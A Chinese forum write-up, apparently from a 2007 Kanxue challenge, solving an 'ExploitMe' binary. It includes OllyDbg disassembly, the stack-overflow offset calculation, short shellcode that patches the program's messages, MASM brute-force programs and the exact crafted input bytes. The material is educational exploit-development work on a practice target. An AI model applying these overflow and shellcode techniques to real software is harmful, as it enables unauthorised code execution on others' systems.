【文章标题】: 不懂shellcode解第二阶段第一题
【文章作者】: bithaha
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
不懂溢出和shellcode,本来想早点打出GG,结果捣鼓来捣鼓去还真弄出来了。发下解题过程,其中一些弯路就不写了
省的浪费篇幅呵呵。
用OD载入,很容易发现里面有个读取test.txt文件的过程.于是在目录下新建个test文件,随便输入一堆数字78787878,在
然后点exploit,OD停在了如下地方,显示写入*******内存错误:
004002E7 |. 85C9 TEST ECX,ECX
004002E9 |. 7E 05 JLE SHORT ExploitM.004002F0
004002EB |. 8D7D D4 LEA EDI,DWORD PTR SS:[EBP-2C]
004002EE |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; (初始 cpu 选择)
004002F0 |> 5F POP EDI
004002F1 |. 33C0 XOR EAX,EAX
004002F3 |. 5E POP ESI
004002F4 |. C9 LEAVE
004002F5 \. C3 RETN
此时ECX仍然巨大无比,于是往上找ecx怎么来的:
004002A2 |. 68 A802CC78 PUSH 78CC02A8
004002A7 |. 68 1B8F9469 PUSH 69948F1B
004002AC |. FF76 04 PUSH DWORD PTR DS:[ESI+4] ;test文件中第二个双字
004002AF |. FF36 PUSH DWORD PTR DS:[ESI] ;第一个双字
004002B1 |. E8 0A030000 CALL ExploitM.004005C0
004002B6 |. 68 82FFE65B PUSH 5BE6FF82
004002BB |. 68 854716A5 PUSH A5164785
004002C0 |. 52 PUSH EDX ;上面生成的结果1
004002C1 |. 50 PUSH EAX ;结果2
004002C2 |. E8 79020000 CALL ExploitM.00400540 ;返回eax
004002C7 |. 6A 04 PUSH 4
004002C9 |. 8BCE MOV ECX,ESI
004002CB |. 5F POP EDI
004002CC |> 8031 1C /XOR BYTE PTR DS:[ECX],1C
004002CF |. 8A11 |MOV DL,BYTE PTR DS:[ECX]
004002D1 |. 3051 01 |XOR BYTE PTR DS:[ECX+1],DL
004002D4 |. 41 |INC ECX
004002D5 |. 41 |INC ECX
004002D6 |. 4F |DEC EDI
004002D7 |.^ 75 F3 \JNZ SHORT ExploitM.004002CC
004002D9 |. 6A 1A PUSH 1A ;eax和1A捣鼓一下,生成ecx
004002DB |. 59 POP ECX
004002DC |. 2BC8 SUB ECX,EAX
004002DE |. 0FAFC8 IMUL ECX,EAX
004002E1 |. 81E9 9C000000 SUB ECX,9C
004002E7 |. 85C9 TEST ECX,ECX
004002E9 |. 7E 05 JLE SHORT ExploitM.004002F0
004002EB |. 8D7D D4 LEA EDI,DWORD PTR SS:[EBP-2C]
话又说回来了,看到这个错误心中狂喜,正愁找不到溢出的地方那,这下可逮住你了。
运行到004002EE |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 的时候,edi的值是堆栈中的
地址,我在这个地方修改了一下ecx为1,这样不至于覆盖到下面的返回地址,于是程序照常运行来到此处:
004002EE |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; (初始 cpu 选择)
004002F0 |> 5F POP EDI
004002F1 |. 33C0 XOR EAX,EAX
004002F3 |. 5E POP ESI
004002F4 |. C9 LEAVE
004002F5 \. C3 RETN ;返回
在运行到retn指令的时候查看一下堆栈地址:12FB48,减去4002EE处的EDI中的值:12FB18正好等于30H,于是要覆盖12FB48中的地址才能
完成溢出,覆盖的字节数应为34H,所以进而得知ecx=0Dh。
再来搞shellcode.先把shellcode定义为34H个字节,前八位先不管,后四位为要覆盖到上面那个返回地址中的值,中间如下:
mov ecx,214B4FH;OK
mov dword ptr [400260],ecx ;OK!,修改fail为OK
mov dword ptr [400268],ecx;修改try为OK
mov ebp,esp
add ebp,20h;因为shellcode要覆盖ebp中的内容,而ebp中的内容正好是esp+24H
push 400383;要覆盖的返回地址
ret ;返回到400383
如果shellcode的地址是静态的,直接在shellcode的后四位写上地址,配合4002F5处的retn,程序就可以自动返回到shellcode执行了
可惜保存shellcode的两个地址一个在堆栈中,一个是用virtualalloc申请的,都是动态的。
再看看运行到4002F5时的堆栈,幸好,在返回地址的下面正好保存着那个用virtualalloc申请的shellcode地址,现在
只要把shellcode的后四位用一个ret指令的地址添上,这样两次ret正好开始执行shellcode了。
下面就是确定前两个双字的问题,我把大量时间都花费了这上面。
因为那两个字节要满足以下条件:
1,经过一系列运算,必须要得出ecx=0DH
2,那个xor 1C过程,生成的结果必须要是指令,而且还得是合适的指令,能执行到真正的shellcode
其中第一个条件就够整人的了,再加上第二个条件,我又想GG了。
最后是用爆破加人工验证来实现的:大概思路是先爆出与1A运算得出ecx的那个eax中的值,然后设后四个四节经过xor 1C运算后
的指令为 90 90 90 90(其它也可以比如1C1C1C1C),这样后四个字节就是8C 00 8C 00,第二个双字就是008C008C
再根据第二个双字和过程1,枚举出一系列双字,然后从中挑出满足条件的。
详细过程就是两个程序:
程序一:爆破得出eax,结果为eax=0DH,耗时1秒不到
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.data?
szOut db 20 dup (?)
.const
szOK db 'Finished!!',0
szOutFormat db '%x',0
.code
start:
mov eax,00h
@2:
mov ecx,1AH
sub ecx,eax
imul ecx,eax
cmp ecx,0A9h
jz @1
inc eax
jmp @2
@1:
invoke wsprintf,addr szOut,addr szOutFormat,eax
invoke MessageBox,NULL,addr szOut,addr szOK,MB_OK
invoke ExitProcess,NULL
end start
程序2:爆破出一系列使得eax=0DH的第一个双字(第二个双字刚才确定为008C008C),耗时10分钟左右
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.data
temp dd 0h
db 0h
dd026 dd 008C008CH;//定义的第二个dword,这些名字都是我当时为了自己好分别起的,没啥意义
dd699 dd 69948F1Bh
dd78c dd 78CC02A8h
dd5be dd 5BE6FF82H
dd0a5 dd 0A5164785h
.data?
ddEDX dd ?
ddEAX dd ?
hFile dd ?
szOutStr db 50 dup (?)
ddWriten dd ?
.const
szOutFamat db '%x',0dh,0ah,0
szOK db 'Finished!!',0
szFileName db 'out.text',0
.code
start:
invoke CreateFile,addr szFileName,GENERIC_WRITE,FILE_SHARE_DELETE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile,eax
@1:
mov eax,dd026
mul dd699
mov ebx,eax
mov eax,temp
mul dd78c
add ebx,eax
mov eax,temp
mul dd699
add edx,ebx;
mov ddEDX,edx
mov ddEAX,eax
mov ecx,dd5be
mov ebx,dd0a5
L000:
SHR ECX,1
RCR EBX,1
SHR EDX,1
RCR EAX,1
OR ECX,ECX
JNZ L000
div ebx
mov ecx,eax
mul dd5be
xchg eax,ecx
MUL dd0a5
ADD EDX,ECX
JB L008
CMP EDX,ddEDX
JA L008
JB L010
CMP EAX,ddEAX
JBE L010
L008:
SUB EAX, dd0a5
SBB EDX,dd5be
L010:
SUB EAX,ddEAX
SBB EDX,ddEDX
NEG EDX
NEG EAX
SBB EDX,0
cmp eax,0Dh
jz @2
inc temp
mov eax,temp
cmp eax,0FFFFFFFFH
jz @3
jmp @1
@2:
invoke wsprintf,addr szOutStr,addr szOutFamat,temp
invoke WriteFile,hFile,addr szOutStr,8,addr ddWriten,NULL;输出第一个dword
inc temp
mov eax,temp
cmp eax,0FFFFFFFFH
jz @3
jmp @1
@3:
invoke MessageBox,NULL,addr szOK,addr szOK,MB_OK
invoke CloseHandle,hFile
invoke ExitProcess,NULL
end start
在程序2完成后共获得两组数据,第一组数据生成的命令是 retF ****,运行不了,晕
第二组数据(EFF333B5)生成的命令是:
02A30000 A9 9AEF0090 TEST EAX,9000EF9A
02A30005 90 NOP
02A30006 90 NOP
02A30007 90 NOP
真是爽歪歪,正好满足要求。然后在下面把上面的shellcode命令一个一个添上,添上完后在对比着OD中的内容用c32asm写到test文件
里面,修改前八个字节为B5 33 F3 EF 8C 00 8C 00 后四个双字为F5 02 40 00(后面这个00有无皆可,没有的话shellcode就
变成51字节了)。
完成!不到之处,往各位大侠多多指教。
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
2007年08月30日 下午 12:00:36
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!